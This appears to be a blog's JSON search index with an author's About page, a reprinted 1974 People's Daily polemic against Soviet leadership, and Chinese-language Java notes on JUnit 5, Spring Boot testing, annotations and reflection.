[{"content":"Hello, my name is David. I am currently working for optimization of the libraries of the AI operators, by making the most of the characters of the specific hardware architectures, in order to improve the speed of the whole AI inference/training process. As a result, some of my work can catch up to the latest solution in the whole AI industry for now.\nI am the author of the following projects,\nLScript, LSVM and LScript Interpreter, TinyCenter: The Collaborative Management Framework for IoT Devices, Birman: The New Programming Language, CypherForm: The Cipher Machine, VaultLinks: A Safe Encoding Protocol, InferPal: A Minimum Neural Network Inference Toolkit. And the following projects are still in plan, which are not available now,\nModel Studio, Brain Silicon \u0026amp; Large Compute, TensorBank \u0026amp; Wire.Me, VJ Energy. Additionally, I worked as System Engineer of Battery Management System, and was in charge of several electrical vehicle projects, which means I am familiar with the normal developing procedure in the industry and have strong abilities in the field of project management.\nI am interested in finance and will have Matrix Street and Cipher Dollar for some financial developing in future, et j\u0026rsquo;ai encore eu une place chez Cortex Foundation, et j\u0026rsquo;ai possédé une adresse électronique pour rester en liaison.\nCe Widegram.com est mon site personnel, auquel je partageais souvent mon avis et ce que j\u0026rsquo;apprenais. Je trouve qu\u0026rsquo;il est un genre très convivial à transmettre les informations et faire un résumé pour moi-même. C\u0026rsquo;est donc que j\u0026rsquo;y persisterai.\nContactez-moi à l\u0026rsquo;adresse suivante si vous demandez plus d\u0026rsquo;information: widegram#wire.me (replace \u0026ldquo;#\u0026rdquo; by \u0026ldquo;@\u0026rdquo;) !\n","permalink":"https://widegram.com/about/","summary":"Hello, my name is David. I am currently working for optimization of the libraries of the AI operators, by making the most of the characters of the specific hardware architectures, in order to improve the speed of the whole AI inference/training process. As a result, some of my work can catch up to the latest solution in the whole AI industry for now.\nI am the author of the following projects,","title":"About"},{"content":"　苏修集团近年来翻来复去地要求苏联人民为“提高福利”而“不懈劳动”。勃列日涅夫喊得尤为起劲，今年六月他在莫斯科说，劳动是“获得福利的唯一源泉”；去年七月在基辅讲，“只有劳动才能为我们保障生活福利”；去年九月又到乌兹别克鼓吹“提高苏联人的福利”的“可靠途径是劳动、劳动、劳动”。\n苏修其他领导人和报刊的这类言论也到处可见，什么“福利的来源只有一个”，“这就是劳动”，“提高人民福利的途径除了劳动再没有别的办法”，等等。\n苏修领导集团这一套谬论是早在苏修二十四大上就定下的。翻开苏修二十四大的文件，在《关于一九七一——一九七五年苏联发展国民经济五年计划的指示》中，就有“劳动是财富的源泉”，只有劳动越多，福利才越多的十分荒谬的说法。\n提起“劳动是财富的源泉”和“劳动是福利的唯一源泉”，不能不使人想起机会主义的祖师爷拉萨尔。他早在一百多年前就提出了“劳动分工是一切财富的源泉”的谬论。之后《哥达纲领》这一机会主义文件又一次贩卖了这一黑货，胡说什么“劳动是一切财富和一切文化的源泉”。当时就受到伟大的无产阶级的革命导师马克思和恩格斯的痛斥。\n马克思明确指出，“劳动不是一切财富的源泉”，劳动者只有“事先就以所有者的身分来对待自然界这个一切劳动资料和劳动对象的第一源泉，把自然界当作隶属于他的东西来处置，他的劳动才成为使用价值的源泉，因而也成为财富的源泉”。马克思在《哥达纲领批判》中一针见血地指出，拉萨尔谬论的要害，正在于对谁占有劳动的物质条件，即生产资料归谁所有这一根本条件避而不谈。在当年德国无产阶级同资产阶级的矛盾日益尖锐的情况下，号称“马克思的学生”的拉萨尔竭力在工人中宣扬劳资合作，竭力欺骗和蒙蔽工人阶级，要他们不去注意生产资料归资本家占有这一事实，而埋头为资产阶级卖命劳动。\n事隔一百多年，拉萨尔的幽灵在克里姆林宫再现了。在资本主义已经复辟了的苏联，这原是不足为怪的。同样号称“马克思的学生”的勃列日涅夫之流如今大吹大擂地贩卖拉萨尔的破烂货，是和拉萨尔一样，妄图用劳动的空谈来掩盖苏联日益尖锐的阶级矛盾，强迫人民卖命为苏修叛徒集团劳动，以维持他们的反动统治。\n在苏修叛徒集团的统治下，苏联的广大劳动人民早已失去了生产资料，失去了作为国家主人所拥有的最根本的权利，重又成为雇佣劳动者，遭受一小撮官僚垄断资产阶级的残酷剥削和压榨。近年来，苏联劳动人民采取各种形式反抗苏修的统治，旷工、罢工和消极怠工，以及大量的工人流动，已给苏修经济造成巨大损失。\n据苏联《劳动报》报道，由于青年工人大量流动，一九七一年仅俄罗斯联邦工业系统就损失三十四亿卢布。苏联一九七二年出版的《科学技术进步和劳动生产率》一书说，工人怠工、停工使企业损失的工时占总工时的百分之十五到二十。苏联一经济学家对美国记者说，由于旷工、怠工和事故，苏联一年的损失达一百八十亿美元。\n面对着广大人民日益强烈的反抗和苏修国内严重的经济困境，苏修集团深感不安。他们在加强法西斯镇压的同时，不得不大肆进行欺骗宣传，要人们相信，苏联劳动人民今天所遭受的生活困苦，是劳动得不够，只有加强劳动，才得以改善。\n其实，人们已越来越清楚，在今日之苏联，为所谓“福利”而劳动，不过是为一小撮官僚垄断资产阶级的“特权”而卖命。这一小撮人通过利润和税金等形式无偿地占有工人创造的大量财富，并通过高工资、高奖金和其他额外收入，贪婪地榨取劳动人民的血汗。一些工人气愤地说：“领导人、厂长，汽车别墅……应有尽有，而我们工人只有两只手。”这就是苏修叛徒集团口口声声讲的所谓为“福利”而劳动！\n“提高人民福利”是假，强迫人民劳动是真。苏修集团让广大苏联人民为他们“劳动、劳动、再劳动”，就是想使他们这一小撮人获得“福利、福利、又福利”。这就是为什么他们不惜重新拾起拉萨尔的破旗来招摇过市。\n但是，拉萨尔显然帮不了勃列日涅夫的忙，相反只能暴露新老机会主义者是一丘之貉，只能使苏联人民更加认清勃列日涅夫之流从理论到行动，彻头彻尾都是马列主义的叛徒。\n1974年11月2日《人民日报》\n","permalink":"https://widegram.com/2023/07/%E8%8B%8F%E4%BF%AE%E4%B8%BA%E4%BD%95%E7%BF%BB%E6%9D%A5%E8%A6%86%E5%8E%BB%E8%AE%A9%E4%BA%BA%E6%B0%91%E5%A5%8B%E6%96%97/","summary":"苏修集团近年来翻来复去地要求苏联人民为“提高福利”而“不懈劳动”。勃列日涅夫喊得尤为起劲，今年六月他在莫斯科说，劳动是“获得福利的唯一源泉”；去年七月在基辅讲，“只有劳动才能为我们保障生活福利”；去年九月又到乌兹别克鼓吹“提高苏联人的福利”的“可靠途径是劳动、劳动、劳动”。\n苏修其他领导人和报刊的这类言论也到处可见，什么“福利的来源只有一个”，“这就是劳动”，“提高人民福利的途径除了劳动再没有别的办法”，等等。\n苏修领导集团这一套谬论是早在苏修二十四大上就定下的。翻开苏修二十四大的文件，在《关于一九七一——一九七五年苏联发展国民经济五年计划的指示》中，就有“劳动是财富的源泉”，只有劳动越多，福利才越多的十分荒谬的说法。\n提起“劳动是财富的源泉”和“劳动是福利的唯一源泉”，不能不使人想起机会主义的祖师爷拉萨尔。他早在一百多年前就提出了“劳动分工是一切财富的源泉”的谬论。之后《哥达纲领》这一机会主义文件又一次贩卖了这一黑货，胡说什么“劳动是一切财富和一切文化的源泉”。当时就受到伟大的无产阶级的革命导师马克思和恩格斯的痛斥。\n马克思明确指出，“劳动不是一切财富的源泉”，劳动者只有“事先就以所有者的身分来对待自然界这个一切劳动资料和劳动对象的第一源泉，把自然界当作隶属于他的东西来处置，他的劳动才成为使用价值的源泉，因而也成为财富的源泉”。马克思在《哥达纲领批判》中一针见血地指出，拉萨尔谬论的要害，正在于对谁占有劳动的物质条件，即生产资料归谁所有这一根本条件避而不谈。在当年德国无产阶级同资产阶级的矛盾日益尖锐的情况下，号称“马克思的学生”的拉萨尔竭力在工人中宣扬劳资合作，竭力欺骗和蒙蔽工人阶级，要他们不去注意生产资料归资本家占有这一事实，而埋头为资产阶级卖命劳动。\n事隔一百多年，拉萨尔的幽灵在克里姆林宫再现了。在资本主义已经复辟了的苏联，这原是不足为怪的。同样号称“马克思的学生”的勃列日涅夫之流如今大吹大擂地贩卖拉萨尔的破烂货，是和拉萨尔一样，妄图用劳动的空谈来掩盖苏联日益尖锐的阶级矛盾，强迫人民卖命为苏修叛徒集团劳动，以维持他们的反动统治。\n在苏修叛徒集团的统治下，苏联的广大劳动人民早已失去了生产资料，失去了作为国家主人所拥有的最根本的权利，重又成为雇佣劳动者，遭受一小撮官僚垄断资产阶级的残酷剥削和压榨。近年来，苏联劳动人民采取各种形式反抗苏修的统治，旷工、罢工和消极怠工，以及大量的工人流动，已给苏修经济造成巨大损失。\n据苏联《劳动报》报道，由于青年工人大量流动，一九七一年仅俄罗斯联邦工业系统就损失三十四亿卢布。苏联一九七二年出版的《科学技术进步和劳动生产率》一书说，工人怠工、停工使企业损失的工时占总工时的百分之十五到二十。苏联一经济学家对美国记者说，由于旷工、怠工和事故，苏联一年的损失达一百八十亿美元。\n面对着广大人民日益强烈的反抗和苏修国内严重的经济困境，苏修集团深感不安。他们在加强法西斯镇压的同时，不得不大肆进行欺骗宣传，要人们相信，苏联劳动人民今天所遭受的生活困苦，是劳动得不够，只有加强劳动，才得以改善。\n其实，人们已越来越清楚，在今日之苏联，为所谓“福利”而劳动，不过是为一小撮官僚垄断资产阶级的“特权”而卖命。这一小撮人通过利润和税金等形式无偿地占有工人创造的大量财富，并通过高工资、高奖金和其他额外收入，贪婪地榨取劳动人民的血汗。一些工人气愤地说：“领导人、厂长，汽车别墅……应有尽有，而我们工人只有两只手。”这就是苏修叛徒集团口口声声讲的所谓为“福利”而劳动！\n“提高人民福利”是假，强迫人民劳动是真。苏修集团让广大苏联人民为他们“劳动、劳动、再劳动”，就是想使他们这一小撮人获得“福利、福利、又福利”。这就是为什么他们不惜重新拾起拉萨尔的破旗来招摇过市。\n但是，拉萨尔显然帮不了勃列日涅夫的忙，相反只能暴露新老机会主义者是一丘之貉，只能使苏联人民更加认清勃列日涅夫之流从理论到行动，彻头彻尾都是马列主义的叛徒。\n1974年11月2日《人民日报》","title":"苏修为何翻来覆去让人民奋斗？"},{"content":"JUnit 5 测试\n\u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.junit.jupiter\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;junit-jupiter\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;5.8.0\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; import org.junit.jupiter.api.*; public class MyTest { @BeforeAll static void init(){ System.out.println(\u0026#34;init\u0026#34;); } @BeforeEach public void before(){ System.out.println(\u0026#34;before\u0026#34;); } @AfterEach public void after(){ System.out.println(\u0026#34;after\u0026#34;); } @Test public void testAdd(){ Assertions.assertEquals(2,2); System.out.println(\u0026#34;123\u0026#34;); } @Test public void testAdd2(){ Assertions.assertEquals(2,2); System.out.println(\u0026#34;456\u0026#34;); } } 输出结果：\ninit before 123 after before 456 after SpringBoot测试 @SpringBootTest会创建Spring boot上下文\n@Autowired、@SpyBean和@MockBean，可以替换原来的Bean\n例如，在测试写数据库时，我们一般不直接写数据库，而是模拟该函数的运行。\n@SpringBootTest public class MyTest{ @SpyBean\t//类似Autowired自动注入，但是是模拟的 Svc svc1; @Test void t1(){ when(svc1.add(1,1)).thenReturn(3);//模拟运行，并直接返回3 int res = svc1.add(1,1); Assertions.assertEquals(res,3); } } @MockBean默认模拟所有函数，@SpyBean只模拟使用when函数显式定义的函数。\n","permalink":"https://widegram.com/2022/01/junit-5/","summary":"JUnit 5 测试\n\u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.junit.jupiter\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;junit-jupiter\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;5.8.0\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; import org.junit.jupiter.api.*; public class MyTest { @BeforeAll static void init(){ System.out.println(\u0026#34;init\u0026#34;); } @BeforeEach public void before(){ System.out.println(\u0026#34;before\u0026#34;); } @AfterEach public void after(){ System.out.println(\u0026#34;after\u0026#34;); } @Test public void testAdd(){ Assertions.assertEquals(2,2); System.out.println(\u0026#34;123\u0026#34;); } @Test public void testAdd2(){ Assertions.assertEquals(2,2); System.out.println(\u0026#34;456\u0026#34;); } } 输出结果：\ninit before 123 after before 456 after SpringBoot测试 @SpringBootTest会创建Spring boot上下文\n@Autowired、@SpyBean和@MockBean，可以替换原来的Bean\n例如，在测试写数据库时，我们一般不直接写数据库，而是模拟该函数的运行。\n@SpringBootTest public class MyTest{ @SpyBean\t//类似Autowired自动注入，但是是模拟的 Svc svc1; @Test void t1(){ when(svc1.","title":"JUnit 5"},{"content":"一、注解 1. 初识注解 package com.onlineframework; import java.util.ArrayList; import java.util.List; @SuppressWarnings(\u0026#34;all\u0026#34;) public class annoTest { @Override public String toString() { return super.toString(); } @Deprecated public static void dep(){ System.out.println(\u0026#34;dep\u0026#34;); } public static void test02(){ List list = new ArrayList(); } public static void main(String[] args) { dep(); test02(); } } 2. 元注解 package com.onlineframework; import java.lang.annotation.*; @MyAnnotation public class AnnoTest02 { @MyAnnotation public void test(){ } } @Retention(RetentionPolicy.SOURCE) @Target({ElementType.METHOD,ElementType.TYPE}) @Documented @Inherited @interface MyAnnotation{ //@interface自动继承了java.lang.annotation.Annotation接口 } 3. 自定义注解，设置其默认值 package com.onlineframework; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; public class AnnoTest03 { @MyAnnotation2() @MyAnnotation3(\u0026#34;OK\u0026#34;) public void test(){ } } @Target({ElementType.TYPE,ElementType.METHOD}) @Retention(RetentionPolicy.RUNTIME) @interface MyAnnotation2 { //定义参数：参数类型 + 参数名 String name() default \u0026#34;\u0026#34;; int age() default 0; int id() default -1; String[] schools() default {}; } @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) @interface MyAnnotation3{ String[] value(); } 二、反射 1. 什么是反射 package com.onlineframework; //什么是反射 public class ReflectionTest01 { public static void main(String[] args) throws ClassNotFoundException { //一个类被加载后，类的整个结构都会被封装在Class对象中 //三种获得Class对象的方法 Class c1 = Class.forName(\u0026#34;com.onlineframework.User\u0026#34;); Class c2 = new User().getClass(); Class c3 = User.class; System.out.println(c1.hashCode() == c2.hashCode() \u0026amp;\u0026amp; c2.hashCode() == c3.hashCode()); //一个类在内存中只有一个Class对象 } } class User{ private String name; private int id; private int age; @Override public String toString() { return \u0026#34;User{\u0026#34; + \u0026#34;name=\u0026#39;\u0026#34; + name + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, id=\u0026#34; + id + \u0026#34;, age=\u0026#34; + age + \u0026#39;}\u0026#39;; } public User(){} public User(String name, int id, int age) { this.name = name; this.id = id; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } 2. 获得父类对象 package com.onlineframework; public class ReflectionTest02 { public static void main(String[] args) throws ClassNotFoundException { Person p = new Student(); Class c1 = p.getClass(); Class c2 = Class.forName(\u0026#34;com.onlineframework.Person\u0026#34;); Class c3 = Person.class; System.out.println(c1.hashCode()); System.out.println(c2.hashCode()); System.out.println(c3.hashCode()); //内置包装类都有一个TYPE属性 Class\u0026lt;Integer\u0026gt; c4 = Integer.TYPE; System.out.println(c4); //获得父类对象 Class c5 = c1.getSuperclass(); System.out.println(c5); } } class Person{ public String name; public int age; } class Student extends Person{ public Student(){ this.name = \u0026#34;stu\u0026#34;; } } class Teacher extends Person{ public Teacher(){ this.name = \u0026#34;teach\u0026#34;; } } 3. 各种类型的Class对象 package com.onlineframework; import java.lang.annotation.ElementType; public class ReflectionTest04 { public static void main(String[] args) { Class objectClass = Object.class; //类 Class comparableClass = Comparable.class; //接口 Class strArrayClass = String[].class;//一维数组 Class intArrayClass = int[][].class;//二维数组 Class overrideClass = Override.class;//注解 Class elementTypeClass = ElementType.class; //枚举 Class integerClass = Integer.class;//基本数据类型 Class voidClass = void.class;//void Class classClass = Class.class; System.out.println(objectClass); System.out.println(comparableClass); System.out.println(strArrayClass); System.out.println(intArrayClass); System.out.println(overrideClass); System.out.println(elementTypeClass); System.out.println(integerClass); System.out.println(voidClass); System.out.println(classClass); int [] a = new int[10]; int [] b = new int[20]; System.out.println(a.getClass().hashCode()); //只要类型与维度一样，就是同一个Class System.out.println(b.getClass().hashCode()); System.out.println(a.getClass().hashCode() == b.getClass().hashCode()); //true } } 4. 类加载的过程、Class对象加载的时机 package com.onlineframework; public class ReflectionTest05 { public static void main(String[] args) { System.out.println(\u0026#34;new之前\u0026#34;); System.out.println(A.m); System.out.println(\u0026#34;new之前\u0026#34;); A a = new A(); System.out.println(A.m); /* * 1. 加载，会产生一个类对应的Class对象 * 2. 链接，链接结束后 m = 0 * 3. 初始化， * \u0026lt;clinit\u0026gt;(){ * m=300; * System.out.println(\u0026#34;静态代码块\u0026#34;); * m=100; * } * 此时 m = 100 * */ } } class A{ static { m=300; System.out.println(\u0026#34;静态代码块\u0026#34;); } static int m = 100; public A(){ System.out.println(\u0026#34;无参构造\u0026#34;); } } 5. 类初始化的时机 package com.onlineframework; //类什么时候初始化？ public class ReflectionTest06 { static { System.out.println(\u0026#34;Main init\u0026#34;); } public static void main(String[] args) throws ClassNotFoundException { //Son son = new Son(); /* Main init Father init Son init */ //Class.forName(\u0026#34;com.onlineframework.Son\u0026#34;); /* Main init Father init Son init */ //System.out.println(Son.b); //Son类不会加载 /* Main init Father init 2 */ //Son[] array = new Son[5]; //不会引起任何初始化 /*Main init*/ System.out.println(Son.M); //常量在链接阶段就被赋值，不引起任何初始化 /*Main init*/ } } class Father { static { System.out.println(\u0026#34;Father init\u0026#34;); } static int b = 2; } class Son extends Father{ static { System.out.println(\u0026#34;Son init\u0026#34;); m = 300; } static int m = 100; static final int M = 1; } 6. 三种ClassLoader package com.onlineframework; public class ReflectionTest07 { public static void main(String[] args) throws ClassNotFoundException { //获取系统类的加载器 ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); System.out.println(systemClassLoader); //系统类加载器的父类加载器 --\u0026gt; 扩展类加载器 //负责jre/lib/ext目录下的jar包加载，或者 -D java.ext.dirs 指定目录下的jar包加载器 ClassLoader parent = systemClassLoader.getParent(); System.out.println(parent); //扩展类加载器的父类加载器 --\u0026gt; 根加载器（C/C++），无法直接获取 ClassLoader parent1 = parent.getParent(); System.out.println(parent1); //sun.misc.Launcher$AppClassLoader@18b4aac2 //sun.misc.Launcher$ExtClassLoader@1b6d3586 //null ClassLoader classLoader = Class.forName(\u0026#34;com.onlineframework.ReflectionTest07\u0026#34;).getClassLoader(); System.out.println(classLoader); //sun.misc.Launcher$AppClassLoader@18b4aac2 ClassLoader classLoader1 = Class.forName(\u0026#34;java.lang.Object\u0026#34;).getClassLoader(); System.out.println(classLoader1); //跟加载器：null System.out.println(System.getProperty(\u0026#34;java.class.path\u0026#34;)); /* C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\charsets.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\deploy.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\access-bridge-64.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\cldrdata.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\dnsns.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\jaccess.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\jfxrt.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\localedata.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\nashorn.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\sunec.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\sunjce_provider.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\sunmscapi.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\sunpkcs11.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\ext\\zipfs.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\javaws.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\jce.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\jfr.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\jfxswt.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\jsse.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\management-agent.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\plugin.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\resources.jar; C:\\Program Files\\Java\\jdk1.8.0_271\\jre\\lib\\rt.jar; C:\\Users\\perfxlab_000\\IdeaProjects\\jbasic\\target\\classes; F:\\Program Files\\JetBrains\\IntelliJ IDEA 2021.3.1\\lib\\idea_rt.jar */ //双亲委派机制：自定义的类例如 java.lang.String 无法替代根加载器加载的类，提高安全性 } } 7. 获得类的信息 package com.onlineframework; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; //获得类的信息 public class ReflectionTest08 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, NoSuchMethodException { Class c1 = Class.forName(\u0026#34;com.onlineframework.User\u0026#34;); System.out.println(c1.getName()); //获得包名+类名 com.onlineframework.User System.out.println(c1.getSimpleName()); //获得类名 User System.out.println(\u0026#34;======================================================\u0026#34;); for (Field field : c1.getFields()) { //只能找到public属性 System.out.println(field); } //Field name = c1.getField(\u0026#34;name\u0026#34;); // 获取不到 System.out.println(\u0026#34;==============getDeclaredFields============================\u0026#34;); for (Field declaredField : c1.getDeclaredFields()) { //获得所有属性 System.out.println(declaredField); } Field name1 = c1.getDeclaredField(\u0026#34;name\u0026#34;); System.out.println(name1); System.out.println(\u0026#34;==============getMethods=======================\u0026#34;); for (Method method : c1.getMethods()) { //获得所有public方法（包括父类），不包括所有private System.out.println(method); } System.out.println(\u0026#34;==============getDeclaredMethods=======================\u0026#34;); for (Method declaredMethod : c1.getDeclaredMethods()) { //只获得该类内方法，包括private System.out.println(declaredMethod); } System.out.println(\u0026#34;==============getMethod=======================\u0026#34;); Method getName = c1.getMethod(\u0026#34;getName\u0026#34;, null); System.out.println(getName); System.out.println(c1.getMethod(\u0026#34;setName\u0026#34;, String.class)); System.out.println(\u0026#34;==============getConstructors (public only)=======================\u0026#34;); Constructor[] constructors = c1.getConstructors(); for (Constructor constructor : constructors) { System.out.println(constructor); } System.out.println(\u0026#34;==============getDeclaredConstructors (all)=======================\u0026#34;); Constructor[] declaredConstructors = c1.getDeclaredConstructors(); for (Constructor declaredConstructor : declaredConstructors) { System.out.println(declaredConstructor); } System.out.println(\u0026#34;==============getDeclaredConstructor=======================\u0026#34;); Constructor declaredConstructor = c1.getDeclaredConstructor(String.class, Integer.TYPE, Integer.TYPE); System.out.println(declaredConstructor); } } 8. 通过反射动态创建对象 package com.onlineframework; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; //通过反射动态创建对象 public class ReflectionTest09 { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { Class c1 = Class.forName(\u0026#34;com.onlineframework.User\u0026#34;); User newInstance = (User)c1.newInstance(); //无参构造器 System.out.println(newInstance); // User{name=\u0026#39;null\u0026#39;, id=0, age=0} //通过构造器创建对象 Constructor declaredConstructor = c1.getDeclaredConstructor(String.class, int.class, int.class); Object aaa = declaredConstructor.newInstance(\u0026#34;aaa\u0026#34;, 11, 12); System.out.println(aaa); // User{name=\u0026#39;aaa\u0026#39;, id=11, age=12} //通过反射调用方法 User user = (User) c1.newInstance(); Method setName = c1.getMethod(\u0026#34;setName\u0026#34;, String.class); setName.invoke(user,\u0026#34;name1\u0026#34;); System.out.println(user); // User{name=\u0026#39;name1\u0026#39;, id=0, age=0} //通过反射操作属性(private异常) Field name = c1.getDeclaredField(\u0026#34;name\u0026#34;); //name.set(user,\u0026#34;name2\u0026#34;); System.out.println(user); //通过反射操作属性 name.setAccessible(true); name.set(user,\u0026#34;name3\u0026#34;); System.out.println(user); } } 9. 反射的性能 package com.onlineframework; import javax.jws.soap.SOAPBinding; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; //性能问题 public class ReflectionTest10 { public static void test_ordinary(){ User user = new User(); long startTime = System.currentTimeMillis(); for (int i=0;i\u0026lt; 1000000000 ;i++){ user.getName(); } long endTime = System.currentTimeMillis(); System.out.println(\u0026#34;普通方法：\u0026#34;+(endTime - startTime) +\u0026#34;ms\u0026#34;); } public static void test_reflection() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getMethod(\u0026#34;getName\u0026#34;); long startTime = System.currentTimeMillis(); for (int i=0;i\u0026lt; 1000000000 ;i++){ getName.invoke(user); } long endTime = System.currentTimeMillis(); System.out.println(\u0026#34;反射方法：\u0026#34;+(endTime - startTime) +\u0026#34;ms\u0026#34;); } public static void test_reflection_without_accessible() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getMethod(\u0026#34;getName\u0026#34;); getName.setAccessible(true); long startTime = System.currentTimeMillis(); for (int i=0;i\u0026lt; 1000000000 ;i++){ getName.invoke(user); } long endTime = System.currentTimeMillis(); System.out.println(\u0026#34;反射方法关闭检测：\u0026#34;+(endTime - startTime) +\u0026#34;ms\u0026#34;); } public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { test_ordinary(); test_reflection(); test_reflection_without_accessible(); //普通方法：4ms //反射方法：2228ms //反射方法关闭检测：1485ms } } 10. 反射获取泛型 package com.onlineframework; import java.lang.reflect.Method; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import java.util.List; import java.util.Map; //反射获取泛型 public class ReflectionTest11 { public void test1(Map\u0026lt;String,User\u0026gt; map, List\u0026lt;User\u0026gt; list){ System.out.println(\u0026#34;test1\u0026#34;); } public Map\u0026lt;String,User\u0026gt; test2(){ System.out.println(\u0026#34;test2\u0026#34;); return null; } public static void main(String[] args) throws NoSuchMethodException { Method method1 = ReflectionTest11.class.getMethod(\u0026#34;test1\u0026#34;, Map.class, List.class); //获得参数的泛型类型 Type[] genericParameterTypes1 = method1.getGenericParameterTypes(); for (Type type : genericParameterTypes1) { System.out.println(type); if(type instanceof ParameterizedType){ //ParameterizedType 参数化类型，例如Collection\u0026lt;String\u0026gt; Type[] actualTypeArguments = ((ParameterizedType) type).getActualTypeArguments(); for (Type actualTypeArgument : actualTypeArguments) { System.out.println(\u0026#34; \u0026#34;+actualTypeArgument); } } } System.out.println(\u0026#34;======================test2================\u0026#34;); Method test2 = ReflectionTest11.class.getMethod(\u0026#34;test2\u0026#34;); Type genericReturnType = test2.getGenericReturnType(); if(genericReturnType instanceof ParameterizedType){ Type[] actualTypeArguments = ((ParameterizedType) genericReturnType).getActualTypeArguments(); for (Type actualTypeArgument : actualTypeArguments) { System.out.println(actualTypeArgument); } } } } 11. 注解与反射 package com.onlineframework; import java.lang.annotation.*; public class ReflectionTest12 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException { Class c1 = Class.forName(\u0026#34;com.onlineframework.Student2\u0026#34;); Annotation[] annotations = c1.getAnnotations(); for (Annotation annotation : annotations) { System.out.println(annotation); //@com.onlineframework.Student2Table(value=db_student) } //获得注解的value Student2Table c1Annotation = (Student2Table)c1.getAnnotation(Student2Table.class); System.out.println(c1Annotation.value());//db_student //获得注解的其他属性 Student2Field nameAnnotation = (Student2Field)c1.getDeclaredField(\u0026#34;name\u0026#34;).getAnnotation(Student2Field.class); System.out.println(nameAnnotation.col());//db_name } } @Student2Table(\u0026#34;db_student\u0026#34;) class Student2 { @Student2Field(col = \u0026#34;db_name\u0026#34;,type = \u0026#34;char\u0026#34;,length = 10) private String name; @Student2Field(col = \u0026#34;db_id\u0026#34;,type = \u0026#34;int\u0026#34;,length = 10) private int id; @Student2Field(col = \u0026#34;db_age\u0026#34;,type = \u0026#34;int\u0026#34;,length = 10) private int age; public Student2(){ } public Student2(String name, int id, int age) { this.name = name; this.id = id; this.age = age; } @Override public String toString() { return \u0026#34;Student2{\u0026#34; + \u0026#34;name=\u0026#39;\u0026#34; + name + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, id=\u0026#34; + id + \u0026#34;, age=\u0026#34; + age + \u0026#39;}\u0026#39;; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @interface Student2Table{ String value(); } @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.FIELD) @interface Student2Field{ String col(); String type(); int length(); } ","permalink":"https://widegram.com/2022/01/java-annotation-and-reflection/","summary":"一、注解 1. 初识注解 package com.onlineframework; import java.util.ArrayList; import java.util.List; @SuppressWarnings(\u0026#34;all\u0026#34;) public class annoTest { @Override public String toString() { return super.toString(); } @Deprecated public static void dep(){ System.out.println(\u0026#34;dep\u0026#34;); } public static void test02(){ List list = new ArrayList(); } public static void main(String[] args) { dep(); test02(); } } 2. 元注解 package com.onlineframework; import java.lang.annotation.*; @MyAnnotation public class AnnoTest02 { @MyAnnotation public void test(){ } } @Retention(RetentionPolicy.SOURCE) @Target({ElementType.METHOD,ElementType.TYPE}) @Documented @Inherited @interface MyAnnotation{ //@interface自动继承了java.","title":"Java 